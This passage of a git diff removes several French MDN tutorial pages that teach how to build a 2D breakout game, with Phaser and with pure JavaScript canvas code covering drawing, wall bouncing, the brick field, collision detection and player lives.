Ce tutoriel montre comment créer un jeu de labyrinthe en 2D en utilisant HTML5, en intégrant des principes fondamentaux tels que la détection de collision et le placement de "sprites" sur un {{htmlelement ("canvas")}}. Il s'agit d'un jeu mobile qui utilise les API Device Orientation et Vibration, pour améliorer le gameplay, et est construit en utilisant le framework Phaser .
+
Jeu de plateforme 2D avec Phaser
+
Cette série de tutoriels montre comment créer un jeu de plateforme simple à l'aide de Phaser , couvrant les fondamentaux tels que les "sprites", les collisions, la physique, les objets de collection et plus encore.
+
+ +

 

diff --git a/files/fr/games/workflows/2d_breakout_game_phaser/index.html b/files/fr/games/workflows/2d_breakout_game_phaser/index.html deleted file mode 100644 index 43897c6574..0000000000 --- a/files/fr/games/workflows/2d_breakout_game_phaser/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: 2D breakout game using Phaser -slug: Games/Workflows/2D_breakout_game_Phaser -translation_of: Games/Tutorials/2D_breakout_game_Phaser ---- -
{{GamesSidebar}}
- -
{{IncludeSubnav("/en-US/docs/Games")}}
- -

{{Next("Games/Workflows/2D_Breakout_game_Phaser/Initialize_the_framework")}}

- -

Dans ce tutoriel étape par étape, nous créons un simple jeu mobile MDN Breakout écrit en JavaScript, en utilisant le framework Phaser.

- - - -

Chaque étape a des échantillons modifiables, disponibles pour jouer avec, de sorte que vous pouvez voir à quoi devraient ressembler les étapes intermédiaires. Vous apprendrez les bases de l'utilisation du framework Phaser pour implémenter les mécanismes fondamentaux du jeu comme le rendu et le mouvement des images, la détection des collisions, les mécanismes de contrôle, les fonctions d'aide spécifiques aux cadres, les animations et les interpolations, les états gagnants et perdants.

- - - -

Pour tirer le meilleur parti de cette série d'articles, vous devez déjà avoir des connaissances de base ou intermédiaires en JavaScript. Après avoir parcouru ce tutoriel, vous devriez être capable de construire vos propres jeux Web simples avec Phaser.

- -

Gameplay screen from the game MDN Breakout created with Phaser where you can use your paddle to bounce the ball and destroy the brick field, with keeping the points and lives.

- -

Détails de la leçon

- -

Toutes les leçons - et les différentes versions du jeu MDN Breakout game que nous construisons ensemble - sont disponibles sur GitHub :

- -
    -
  1. Initialiser le cadre
    2. -
  2. Mise à l'échelle
    3. -
  3. Charger les actifs et les imprimer à l'écran
    4. -
  4. Déplacer le ballon
    5. -
  5. Physique
    6. -
  6. Rebondir sur les murs
    7. -
  7. Pagaie et commandes du joueur
    8. -
  8. Fin de la partie
    9. -
  9. Construisez le champ de briques
    10. -
  10. Détection de collision
    11. -
  11. Le score
    12. -
  12. Gagnez la partie
    13. -
  13. Extra vies
    14. -
  14. Animations et préadolescents
    15. -
  15. Boutons
    16. -
  16. Mode de jeu aléatoire
    17. -
- -

Comme note sur les parcours d'apprentissage — en commençant par le JavaScript pur est le meilleur moyen d'acquérir une solide connaissance du développement de jeux en ligne. Si vous n'êtes pas déjà familier avec le développement de jeux en JavaScript pur, nous vous suggérons de travailler d'abord avec l'homologue de cette série, 2D breakout game using pure JavaScript.

- - - -

Après cela, vous pouvez choisir n'importe quel framework que vous voulez et l'utiliser pour vos projets ; nous avons choisi Phaser car c'est un bon framework solide, avec un bon support et une communauté disponible, et un bon ensemble de plugins. Les cadres accélèrent le temps de développement et aident à prendre soin des parties ennuyeuses, vous permettant ainsi de vous concentrer sur les choses amusantes. Cependant, les frameworks ne sont pas toujours parfaits, donc si quelque chose d'inattendu se produit ou si vous voulez écrire des fonctionnalités que le framework ne fournit pas, vous aurez besoin de connaissances en JavaScript pur.

- - - -
-

Note: Cette série d'articles peut être utilisée comme matériel pour des ateliers pratiques de développement de jeux. Vous pouvez également utiliser la fonction Gamedev Phaser Content Kit basé sur ce tutoriel si vous voulez donner une conférence sur le développement d'un jeu avec Phaser.

-
- -

Prochaines étapes

- -

Ok, commençons ! Aller à la première partie de la série — Initialize the framework.

- -

{{Next("Games/Workflows/2D_Breakout_game_Phaser/Initialize_the_framework")}}

diff --git a/files/fr/games/workflows/2d_breakout_game_pure_javascript/build_the_brick_field/index.html b/files/fr/games/workflows/2d_breakout_game_pure_javascript/build_the_brick_field/index.html deleted file mode 100644 index 1d193d6045..0000000000 --- a/files/fr/games/workflows/2d_breakout_game_pure_javascript/build_the_brick_field/index.html +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: Créer les briques -slug: Games/Workflows/2D_Breakout_game_pure_JavaScript/Build_the_brick_field -tags: - - Canvas - - Casse-Brique - - Débutant - - JavaScript - - Jeu - - Tutoriel - - graphique -translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Build_the_brick_field ---- -
{{GamesSidebar}}
- -
{{IncludeSubnav("/en-US/docs/Games")}}
- -

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Game_over", "Games/Workflows/2D_Breakout_game_pure_JavaScript/detection_colisions")}}

- -
-

Il s'agit de la 6ème étape sur 10 du Gamedev Canvas tutorial. Vous pouvez trouver le code source après avoir complété cette leçon à : Gamedev-Canvas-workshop/lesson6.html.

-
- -

Après avoir modifié la mécanique du Gameplay, nous sommes maintenant en mesure de perdre — Et ça c'est top car on a enfin l'impression de jouer à un vrai jeu. Cependant, ça devient vite ennuyeux si la balle ne fait que rebondir sur la raquette. Ce dont a vraiment besoin un jeu de casse-brique c'est des briques à détruire avec la balle. Et c'est ce que nous allons faire maintenant.

- -

Mettre en place les variables "Brique"

- -

Le principal objectif de cette leçon est d'avoir quelques lignes de code pour afficher les briques, en utilisant une boucle imbriquée qui va parcourir un tableau à deux dimensions. Cependant nous avons besoin de définir quelques variables pour stocker des informations décrivant les briques, telles que leur largeur, leur hauteur, les colonnes et les lignes, etc. Ajoutez les lignes suivantes dans votre code, sous les variables préalablement déclarées.

- -
var brickRowCount = 3;
-var brickColumnCount = 5;
-var brickWidth = 75;
-var brickHeight = 20;
-var brickPadding = 10;
-var brickOffsetTop = 30;
-var brickOffsetLeft = 30;
- -

Ici nous avons défini dans l'ordre le nombre de lignes et de colonnes de briques, mais également une hauteur, une largeur et un espacement (padding) entre les briques pour qu'elles ne se touchent pas entre elles et qu'elles ne commencent pas a être tracées sur le bord du canevas.

- -

Nous allons placer nos briques dans un tableau à deux dimensions. Il contiendra les colonnes de briques (c), qui à leur tour contiendront les lignes de briques (r) qui chacune contiendront un objet défini par une position x et y pour afficher chaque brique sur l'écran.
- Ajoutez le code suivant juste en-dessous des variables :

- -
var bricks = [];
-for(var c=0; c<brickColumnCount; c++) {
-    bricks[c] = [];
-    for(var r=0; r<brickRowCount; r++) {
-        bricks[c][r] = { x: 0, y: 0 };
-    }
-}
- -

Le code ci-dessus va parcourir les lignes et les colonnes et créer de nouvelles briques. REMARQUE : les objets briques seront également utilisés plus tard afin de détecter les collisions.

- -

Logique de dessin des briques

- -

Maintenant créons une fonction pour parcourir toutes les briques dans le tableau et les dessiner sur l'écran. Notre code pourrait ressembler à ça :

- -
function drawBricks() {
-    for(var c=0; c<brickColumnCount; c++) {
-        for(var r=0; r<brickRowCount; r++) {
-            bricks[c][r].x = 0;
-            bricks[c][r].y = 0;
-            ctx.beginPath();
-            ctx.rect(0, 0, brickWidth, brickHeight);
-            ctx.fillStyle = "#0095DD";
-            ctx.fill();
-            ctx.closePath();
-        }
-    }
-}
- -

Une nouvelle fois, nous parcourons les colonnes et les lignes pour attribuer une position x et y à chaque brique, et nous dessinons les briques — de taille : brickWidth x brickHeight  — sur le canevas, pour chaque itération de la boucle. Le problème est que nous les affichons toutes au même endroit, aux coordonnées (0,0). Ce dont nous avons besoin d'inclure ce sont quelques calculs qui vont définir la position x et y de chaque brique à chaque passage dans la boucle :

- -
var brickX = (c*(brickWidth+brickPadding))+brickOffsetLeft;
-var brickY = (r*(brickHeight+brickPadding))+brickOffsetTop;
- -

Chaque position brickX est déterminée par brickWidth + brickPadding, multiplié par le nombre de colonnes, c, plus brickOffsetLeft; la logique pour brickY est identique excepté qu'on utilise pour les ligne les valeurs r,brickHeight et brickOffsetTop. Maintenant chaque brique peut être dessinée à la bonne place - en lignes et colonnes, avec un espacement entre les briques, avec un espace par rapport à la gauche et au haut du contour du canvas.

- -

La version finale de la fonction drawBricks(), après avoir assigné les valeurs brickX et brickY comme coordonnées, plutot que (0,0) à chaque fois, va ressembler à ceci  — ajouter la fonction ci-dessous après drawPaddle() :

- -
function drawBricks() {
-    for(var c=0; c<brickColumnCount; c++) {
-        for(var r=0; r<brickRowCount; r++) {
-            var brickX = (c*(brickWidth+brickPadding))+brickOffsetLeft;
-            var brickY = (r*(brickHeight+brickPadding))+brickOffsetTop;
-            bricks[c][r].x = brickX;
-            bricks[c][r].y = brickY;
-            ctx.beginPath();
-            ctx.rect(brickX, brickY, brickWidth, brickHeight);
-            ctx.fillStyle = "#0095DD";
-            ctx.fill();
-            ctx.closePath();
-        }
-    }
-}
- -

Afficher les briques

- -

La dernière chose à faire dans cette leçon est d'ajouter un appel à drawBricks() quelque part dans la fonction draw(), préférablement au début, entre le nettoyage du canevas et le dessin de la balle. Ajoutez la ligne suivante juste en dessous de drawBall() :

- -
drawBricks();
-
- -

Comparez votre code

- -

À ce stade, le jeu a gagné un peu en intérêt :

- -

{{JSFiddleEmbed("https://jsfiddle.net/yumetodo/t1zqmzLp/","","395")}}

- -
-

Exercice : essayez de changer le nombre de briques dans une colonne ou dans une ligne ou bien leur position.

-
- -

Prochaines étapes

- -

Nous avons donc maintenant des briques !  
- Mais la balle n'a toujours aucune interaction avec elles. Nous allons donc changer ça dans le chapitre sept : Détection des collisions 

- -

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Game_over", "Games/Workflows/2D_Breakout_game_pure_JavaScript/detection_colisions")}}

diff --git a/files/fr/games/workflows/2d_breakout_game_pure_javascript/creer_element_canvas_et_afficher/index.html b/files/fr/games/workflows/2d_breakout_game_pure_javascript/creer_element_canvas_et_afficher/index.html deleted file mode 100644 index 12603405c0..0000000000 --- a/files/fr/games/workflows/2d_breakout_game_pure_javascript/creer_element_canvas_et_afficher/index.html +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: Créer l'élément Canvas et l'afficher -slug: >- - Games/Workflows/2D_Breakout_game_pure_JavaScript/creer_element_canvas_et_afficher -tags: - - 2D - - Canvas - - Débutant - - HTML - - JavaScript - - Jeux - - Tutoriel -translation_of: >- - Games/Tutorials/2D_Breakout_game_pure_JavaScript/Create_the_Canvas_and_draw_on_it ---- -
{{GamesSidebar}}
- -
{{IncludeSubnav("/fr/docs/Jeux")}}
- -

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Move_the_ball")}}

- -
-

C'est la 1ère étape sur 10 de ce tutoriel Gamedev Canvas. Vous pouvez retrouver le code source de cette leçon sur Gamedev-Canvas-workshop/lesson1.html.

-
- -

Avant d'écrire les fonctionnalités de notre jeu, nous devons créer une structure où le jeu sera rendu. C'est possible en utilisant HTML et l'élément {{htmlelement("canvas")}}.

- -

La page HTML du jeu

- -

La structure de la page HTML est vraiment simple, car tout le jeu sera contenu dans l'élément {{htmlelement("canvas")}}. Avec votre éditeur de texte préféré, créez un nouveau fichier HTML, sauvegardez-le sous le nom index.html, et ajoutez-y le code suivant :

- -
<!DOCTYPE html>
-<html>
-<head>
-    <meta charset="utf-8" />
-    <title>Gamedev Canvas Workshop</title>
-    <style>
-    	* { padding: 0; margin: 0; }
-    	canvas { background: #eee; display: block; margin: 0 auto; }
-    </style>
-</head>
-<body>
-
-<canvas id="myCanvas" width="480" height="320"></canvas>
-
-<script>
-	// JavaScript code goes here
-</script>
-
-</body>
-</html>
- -

Dans l'en-tête, nous avons défini l'encodage des caractères (charset), le titre  {{htmlelement("title")}} et quelques règles CSS très simples. Le corps contient les éléments {{htmlelement("canvas")}} et {{htmlelement("script")}}. L'élément {{htmlelement("canvas")}} contiendra le rendu du jeu et l'élément {{htmlelement("script")}} l'emplacement du code JavaScript pour contrôler le jeu. L'élément {{htmlelement("canvas")}} a un identifiant nommé myCanvas qui permettra de le retrouver facilement en JavaScript, et possède des dimensions de 480 pixels de longueur et 320 pixels de hauteur. Tout le code JavaScript que nous allons écrire dans ce tutoriel sera contenu entre la balise ouvrante <script> et la balise fermante </script>.

- -

Les bases de Canvas

- -

Pour utiliser l'élément {{htmlelement("canvas")}}, pour le rendu graphique de notre jeu, nous devons d'abord en donner la référence à JavaScript. Ajoutez le code après la balise ouvrante <script>.

- -
var canvas = document.getElementById("myCanvas");
-var ctx = canvas.getContext("2d");
- -

Ici nous avons enregistré la référence à l'élément {{htmlelement("canvas")}} dans une variable nommée canvas. Ensuite, nous créons la variable ctx pour stocker le contexte de rendu 2D — l'outil réel que nous pouvons utiliser pour peindre sur Canvas.

- -

Voyons un exemple de code qui imprime un carré rouge sur le canevas. Ajoutez ceci en dessous de vos lignes précédentes de JavaScript, puis chargez votre index.html dans un navigateur pour l'essayer.

- -
ctx.beginPath();
-ctx.rect(20, 40, 50, 50);
-ctx.fillStyle = "#FF0000";
-ctx.fill();
-ctx.closePath();
- -

Toutes les instructions sont entre les méthodes  {{domxref("CanvasRenderingContext2D.beginPath()","beginPath()")}} et {{domxref("CanvasRenderingContext2D.closePath()","closePath()")}} . Nous définissons un rectangle en utilisant {{domxref("CanvasRenderingContext2D.rect()","rect()")}} : les deux premières valeurs spécifient les coordonnées du coin supérieur gauche du rectangle tandis que les deux suivantes spécifient la largeur et la hauteur du rectangle. Dans notre cas, le rectangle est peint à 20 pixels du côté gauche de l'écran et à 40 pixels du haut, et a une largeur de 50 pixels et une hauteur de 50 pixels, ce qui en fait un carré parfait. La propriété {{domxref("CanvasRenderingContext2D.fillStyle","fillStyle")}} stocke une couleur qui sera utilisée par la méthode {{domxref("CanvasRenderingContext2D.fill()","fill()")}} pour peindre le carré en rouge.

- -

Nous ne sommes pas limités aux rectangles, voici un code pour imprimer un cercle vert. Essayez d'ajouter ceci au bas de votre JavaScript, puis sauvegardez et rafraîchissez :

- -
ctx.beginPath();
-ctx.arc(240, 160, 20, 0, Math.PI*2, false);
-ctx.fillStyle = "green";
-ctx.fill();
-ctx.closePath();
- -

Comme nous pouvons le voir, nous utilisons à nouveau les méthodes {{domxref("CanvasRenderingContext2D.beginPath()","beginPath()")}} et {{domxref("CanvasRenderingContext2D.closePath()","closePath()")}} . Entre elles, la partie la plus importante du code ci-dessus est la méthode {{domxref("CanvasRenderingContext2D.arc()","arc()")}} . Elle comporte six paramètres :

- -
    -
  • les coordonnées x ety du centre de l'arc
    • -
  • rayon de l'arc
    • -
  • l'angle de départ et l'angle de fin (pour finir de dessiner le cercle, en radiant)
    • -
  • direction du dessin (false(faux) pour le sens des aiguilles d'une montre, la valeur par défaut, ou true (vrai) pour le sens inverse). Ce dernier paramètre est facultatif.
    • -
- -

La propriété {{domxref("CanvasRenderingContext2D.fillStyle","fillStyle")}} semble différente par rapport à l'exemple précédent. C'est parce que, tout comme avec CSS, la couleur peut être spécifiée sous la forme d'une valeur hexadécimale, d'un mot-clé, de la fonction rgba () (RVBA) ou de toute autre méthode disponible pour les couleurs.

- -

Au lieu d'utiliser {{domxref("CanvasRenderingContext2D.fillStyle","fillStyle")}} et de remplir les formes avec des couleurs, nous pouvons utiliser {{domxref("CanvasRenderingContext2D.stroke()","stroke()")}} pour ne colorer que le contour exterieur. Essayez d'ajouter ce code à votre JavaScript aussi :

- -
ctx.beginPath();
-ctx.rect(160, 10, 100, 40);
-ctx.strokeStyle = "rgba(0, 0, 255, 0.5)";
-ctx.stroke();
-ctx.closePath();
- -

Le code ci-dessus affiche un rectangle vide avec des traits bleus. Grâce au canal alpha de la fonction rgba (), la couleur bleue est semi transparente.

- -

Comparez votre code

- -

Voici tout le code source de cette première leçon, fonctionnant avec JSFiddle :

- -

{{JSFiddleEmbed("https://jsfiddle.net/end3r/x62h15e2/","","370")}}

- -
-

Exercice : essayez de changer la taille et la couleur des formes géométriques.

-
- -

Prochaines étapes

- -

Maintenant, nous avons mis en place le code HTML de base et avons appris un peu sur Canvas, passons au deuxième chapitre et étudions comment Déplacer une balle sur notre jeu.

- -

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Move_the_ball")}}

diff --git a/files/fr/games/workflows/2d_breakout_game_pure_javascript/detection_colisions/index.html b/files/fr/games/workflows/2d_breakout_game_pure_javascript/detection_colisions/index.html deleted file mode 100644 index 01e210ed5e..0000000000 --- a/files/fr/games/workflows/2d_breakout_game_pure_javascript/detection_colisions/index.html +++ /dev/null @@ -1,136 +0,0 @@ ---- -title: Détection de collisions -slug: Games/Workflows/2D_Breakout_game_pure_JavaScript/detection_colisions -tags: - - Canvas - - JavaScript - - Jeu - - collision - - detection - - totoriel -translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Collision_detection ---- -
{{GamesSidebar}}
- -
{{IncludeSubnav("/en-US/docs/Games")}}
- -

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Build_the_brick_field", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win")}}

- -
-

Il s'agit de la 7ème étape sur 10 du Gamedev Canvas tutorial. Vous pouvez trouver le code source tel qu'il devrait être après avoir complété cette leçon à : Gamedev-Canvas-workshop/lesson7.html.

-
- -

Les briques apparaissent à l'écran, mais le jeu n'est toujours pas intéressant car la balle les traverse. Nous devons ajouter une détection des collisions afin qu’elle puisse rebondir sur les briques et les casser.

- -

C'est notre décision, bien sûr, de mettre ça en œuvre, mais il peut être difficile de calculer si la balle touche le rectangle ou non, car il n'y a pas de fonction d'aide dans Canvas pour cela. Dans l'intérêt de ce tutoriel, nous le ferons de la manière la plus simple possible. Nous vérifierons si le centre de la balle entre en collision avec l'une des briques données. Cela ne donnera pas toujours un résultat parfait, et il existe des moyens beaucoup plus sophistiqués de détecter des collisions, mais cela fonctionnera assez bien pour vous apprendre les concepts de base.

- -

Une fonction de détection de collision

- -


- Pour commencer, nous voulons créer une fonction de détection de collision qui va parcourir toutes les briques et comparer la position de chaque brique avec les coordonnées de la balle lorsque chaque image est dessinée. Pour une meilleure lisibilité du code, nous allons définir la variable b pour stocker l’objet brique dans la boucle de la détection de collision:

- -
function collisionDetection() {
-    for(var c=0; c<brickColumnCount; c++) {
-        for(var r=0; r<brickRowCount; r++) {
-            var b = bricks[c][r];
-            // calculs
-        }
-    }
-}
- -

Si le centre de la balle se trouve à l'intérieur des coordonnées d'une de nos briques, nous changerons la direction de la balle. Pour que le centre de la balle soit à l'intérieur de la brique, les quatre affirmations suivantes doivent être vraies :

- -
    -
  • La position x de la balle est supérieure à la position x de la brique.
    • -
  • La position x de la balle est inférieure à la position x de la brique plus sa largeur.
    • -
  • La position y de la balle est supérieure à la position y de la brique.
    • -
  • La position y de la balle est inférieure à la position y de la brique plus sa hauteur.
    • -
- -

Écrivons cela sous forme de code:

- -
function collisionDetection() {
-    for(var c=0; c<brickColumnCount; c++) {
-        for(var r=0; r<brickRowCount; r++) {
-            var b = bricks[c][r];
-            if(x > b.x && x < b.x+brickWidth && y > b.y && y < b.y+brickHeight) {
-                dy = -dy;
-            }
-        }
-    }
-}
- -

Ajoutez le bloc ci-dessus à votre code, sous la fonction keyUpHandler() .

- -

Faire disparaître les briques après qu'elles aient été touchées

- -

Le code ci-dessus fonctionnera comme vous le souhaitez et la balle changera de direction. Le problème est que les briques restent là où elles sont. Nous devons trouver un moyen de nous débarrasser de celles que nous avons déjà touchées avec la balle. Nous pouvons le faire en ajoutant un paramètre supplémentaire pour indiquer si nous voulons ou non afficher chaque brique à l’écran. Dans la partie du code où nous initialisons les briques, ajoutons une propriété status à chaque brique. Mettez à jour la partie suivante du code comme indiqué par la ligne en évidence:

- -
var bricks = [];
-for(var c=0; c<brickColumnCount; c++) {
-    bricks[c] = [];
-    for(var r=0; r<brickRowCount; r++) {
-        bricks[c][r] = { x: 0, y: 0, status: 1 };
-    }
-}
- -

Nous vérifierons ensuite la valeur de la propriété status de chaque brique dans la fonction drawBricks() avant de la dessiner. Si status vaut 1, dessinez-la, mais s'il vaut 0, la balle a été touchée et nous ne voulons pas la voir sur l'écran. Mettez à jour votre fonction drawBricks() comme suit:

- -
function drawBricks() {
-    for(var c=0; c<brickColumnCount; c++) {
-        for(var r=0; r<brickRowCount; r++) {
-            if(bricks[c][r].status == 1) {
-                var brickX = (c*(brickWidth+brickPadding))+brickOffsetLeft;
-                var brickY = (r*(brickHeight+brickPadding))+brickOffsetTop;
-                bricks[c][r].x = brickX;
-                bricks[c][r].y = brickY;
-                ctx.beginPath();
-                ctx.rect(brickX, brickY, brickWidth, brickHeight);
-                ctx.fillStyle = "#0095DD";
-                ctx.fill();
-                ctx.closePath();
-            }
-        }
-    }
-}
- -

Suivi et mise à jour de l'état dans la fonction de détection de collision

- -

Nous devons maintenant impliquer la propriété de status de brique dans la fonction collisionDetection(): si la brique est active (son statut est 1), nous vérifierons si une collision a lieu ; Si une collision se produit, nous allons définir l'état de la brique donnée sur 0 afin qu'elle ne soit pas affichée à l'écran. Mettez à jour votre fonction collisionDetection() comme indiqué ci-dessous:

- -
function collisionDetection() {
-    for(var c=0; c<brickColumnCount; c++) {
-        for(var r=0; r<brickRowCount; r++) {
-            var b = bricks[c][r];
-            if(b.status == 1) {
-                if(x > b.x && x < b.x+brickWidth && y > b.y && y < b.y+brickHeight) {
-                    dy = -dy;
-                    b.status = 0;
-                }
-            }
-        }
-    }
-}
- -

Activer notre détection de collision

- -

La dernière chose à faire est d’ajouter un appel à la fonction collisionDetection () à notre fonction draw() principale. Ajoutez la ligne suivante à la fonction draw (), juste en dessous de l'appel drawPaddle():

- -
collisionDetection();
-
- -

Comparez votre code

- -

La détection de collision de la balle est maintenant vérifiée sur chaque image, avec chaque brique. Maintenant, nous pouvons détruire des briques ! : -

- -

{{JSFiddleEmbed("https://jsfiddle.net/yumetodo/mkwtxgc3/242/","","395")}}

- -
-

Exercice: changez la couleur de la balle lorsqu'elle frappe une brique.

-
- -

Prochaine étape

- -

Nous ne sommes plus très loin de la fin ;  poursuivons ! Dans le huitième chapitre, nous verrons comment Track the score and win.

- -

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Build_the_brick_field", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win")}}

diff --git a/files/fr/games/workflows/2d_breakout_game_pure_javascript/faire_rebondir_la_balle_sur_les_murs/index.html b/files/fr/games/workflows/2d_breakout_game_pure_javascript/faire_rebondir_la_balle_sur_les_murs/index.html deleted file mode 100644 index 1f2e90da51..0000000000 --- a/files/fr/games/workflows/2d_breakout_game_pure_javascript/faire_rebondir_la_balle_sur_les_murs/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: Faire rebondir la balle sur les murs -slug: >- - Games/Workflows/2D_Breakout_game_pure_JavaScript/Faire_rebondir_la_balle_sur_les_murs -tags: - - Animation - - Canvas - - Débutant - - Exemple - - JavaScript - - Jeux - - Tuto - - Tutoriel - - detection - - graphique -translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Bounce_off_the_walls ---- -
{{GamesSidebar}}
- -
{{IncludeSubnav("/en-US/docs/Games")}}
- -

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Move_the_ball", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Paddle_et_contr%C3%B4le_clavier")}}

- -
-

C'est la 3ème étape sur 10 de ce tutoriel Gamedev Canvas. Vous pouvez retrouver le code source de cette leçon sur Gamedev-Canvas-workshop/lesson3.html.

-
- -

C'est agréable de voir notre balle bouger, mais elle disparaît rapidement de l'écran, ce qui limite le plaisir que nous pouvons avoir avec elle ! Pour y pallier, nous allons mettre en place une détection de collision très simple (qui sera expliquée plus tard en détail) pour faire rebondir la balle sur les quatre bords de la toile.

- -

Détection des collisions

- -

Pour détecter la collision, nous vérifierons si la balle touche (entre en collision avec) le mur et, si c'est le cas, nous modifierons la direction de son mouvement en conséquence.
-
- Pour faciliter les calculs, nous allons définir une variable appelée ballRadius qui contiendra le rayon du cercle dessiné et sera utilisée pour les calculs. Ajoutez cette variable à votre code, quelque part en dessous des déclarations de variables existantes :
-  

- -
var ballRadius = 10;
- -

Mettez maintenant à jour la ligne qui dessine la balle à l'intérieur de la fonction drawBall() :

- -
ctx.arc(x, y, ballRadius, 0, Math.PI*2);
- -

Rebondir en haut et en bas

- -

Il y a 4 murs en tout mais nous allons d'abord nous pencher sur le mur du haut. Nous devons, à chaque rafraichissement du canvas, regarder si la balle touche le bord du haut. Si c'est le cas, alors nous devons inverser la direction de la balle pour créer un effet de limite de zone de jeu. Il ne faut surtout pas oublier que le point d'origine est en haut à gauche ! Nous pouvons donc écrire :

- -
if(y + dy < 0) {
-    dy = -dy;
-}
- -

Si la valeur y de la position de la balle est inférieure à zéro, changez la direction du mouvement sur l'axe y en le rendant égal à son inverse. Si la balle se déplaçait vers le haut à une vitesse de 2 pixels par image, elle se déplacera maintenant "vers le haut" à une vitesse de -2 pixels, ce qui équivaut en fait à se déplacer vers le bas à une vitesse de 2 pixels par image.
-
- Le code ci-dessus traite du rebondissement de la balle sur le bord supérieur, alors traitons maintenant le bord inférieur :

- -
if(y + dy > canvas.height) {
-    dy = -dy;
-}
- -

Si la position en y de la balle est supérieure à  la hauteur du canvas (soit 480 pixels dans cette leçon) on inverse encore la vitesse de la balle.

- -

On peut rassembler les deux conditions en une grâce au "ou" qui s'écrit || en JavaScript :

- -
if(y + dy > canvas.height || y + dy < 0) {
-    dy = -dy;
-}
- -

Si une des deux conditions est vérifiée, alors la vitesse est inversée. Essayez de créer votre propre code pour la gauche et la droite avant de passer à la prochaine sous-partie. Vous verrez que le principe est le même.

- -

Rebondir à gauche et à droite

- -

Nous avons couvert les bords supérieur et inférieur, alors pensons à ceux de gauche et de droite. C'est très similaire en fait, il suffit de répéter les instructions pour x au lieu de y :

- -
if(x + dx > canvas.width || x + dx < 0) {
-    dx = -dx;
-}
-
-if(y + dy > canvas.height || y + dy < 0) {
-    dy = -dy;
-}
- -

À ce stade, vous devez insérer le bloc de code ci-dessus dans la fonction draw(), juste avant l'accolade de fermeture.

- -

La balle disparaît toujours!

- -

Testez votre code à ce stade, et vous serez impressionné — nous avons maintenant une balle qui rebondit sur les quatre bords de la toile ! Mais nous avons un autre problème — lorsque la balle frappe un mur, elle s'y enfonce légèrement avant de changer de direction :

- -

- -

C'est parce que nous calculons le point de collision entre le mur et le centre de la balle, alors que nous devrions le faire pour sa circonférence. La balle devrait rebondir juste après avoir touché le mur, et non pas lorsqu'elle est déjà à mi-chemin dans le mur, alors ajustons un peu nos déclarations pour inclure cela. Mettez à jour le dernier code que vous avez ajouté :

- -
if(x + dx > canvas.width-ballRadius || x + dx < ballRadius) {
-    dx = -dx;
-}
-if(y + dy > canvas.height-ballRadius || y + dy < ballRadius) {
-    dy = -dy;
-}
- -

Lorsque la distance entre le centre de la balle et le bord du mur est exactement la même que le rayon de la balle, cela change la direction du mouvement. Soustraire le rayon de la largeur d'un bord et l'ajouter à l'autre nous donne l'impression d'une détection de collision correcte — la balle rebondit sur les murs comme elle devrait le faire.

- -

Comparez votre code

- -

Vérifions encore une fois le code fini pour cette partie par rapport à ce que vous avez, et jouons une partie :

- -

{{JSFiddleEmbed("https://jsfiddle.net/end3r/redj37dc/","","395")}}

- -
-

Exercice: essayez de changer la couleur de la balle à chaque fois que celle-ci tape un mur.

-
- -

Dans le prochain chapitre

- -

Nous sommes maintenant arrivés au stade où notre balle se déplace et reste sur le plateau de jeu. Dans le quatrième chapitre, nous examinerons la mise en place d'une raquette contrôlable - voir Raquette et contrôle au clavier. {PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Move_the_ball", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Paddle_et_contr%C3%B4le_clavier")}}

diff --git a/files/fr/games/workflows/2d_breakout_game_pure_javascript/finitions/index.html b/files/fr/games/workflows/2d_breakout_game_pure_javascript/finitions/index.html deleted file mode 100644 index 061aa336fd..0000000000 --- a/files/fr/games/workflows/2d_breakout_game_pure_javascript/finitions/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: Finitions -slug: Games/Workflows/2D_Breakout_game_pure_JavaScript/finitions -tags: - - Canevas - - Débutant - - JavaScript - - Jeux - - Tutoriel - - requestAnimationFrame - - vies -translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Finishing_up ---- -
{{GamesSidebar}}
- -
{{IncludeSubnav("/en-US/docs/Games")}}
- -

{{Previous("Games/Workflows/2D_Breakout_game_pure_JavaScript/Mouse_controls")}}

- -
-

C'est la dernière étape de ce tutoriel Gamedev Canvas. Vous pouvez trouver le code source tel qu'il devrait être après avoir terminé cette leçon à l'adresse Gamedev-Canvas-workshop/lesson10.html.

-
- -

Il y a toujours des améliorations possibles pour tous les jeux que nous créons. Par exemple, nous pouvons offrir plus d'une vie au joueur. Il peut faire une ou deux erreurs et être encore capable de terminer le jeu. Nous pourrions également améliorer le rendu visuel du jeu.

- -

Donner des vies au joueur

- -

Mettre en œuvre des vies est assez simple. Ajoutons d'abord une variable pour stocker le nombre de vies à l'endroit où nous avons déclaré nos autres variables :

- -
var lives = 3;
- -

L'affichage du compteur de vie est similaire à celui du compteur de points — ajoutez la fonction suivante à votre code, sous la fonction drawScore() :

- -
function drawLives() {
-    ctx.font = "16px Arial";
-    ctx.fillStyle = "#0095DD";
-    ctx.fillText("Lives: "+lives, canvas.width-65, 20);
-}
- -

Au lieu de mettre immédiatement fin au jeu, nous allons réduire le nombre de vies jusqu'à ce qu'il n'y en ait plus. Nous pouvons également réinitialiser les positions du ballon et de la raquette lorsque le joueur commence sa prochaine vie. Ainsi, dans la fonction draw(), remplacez les trois lignes suivantes :

- -
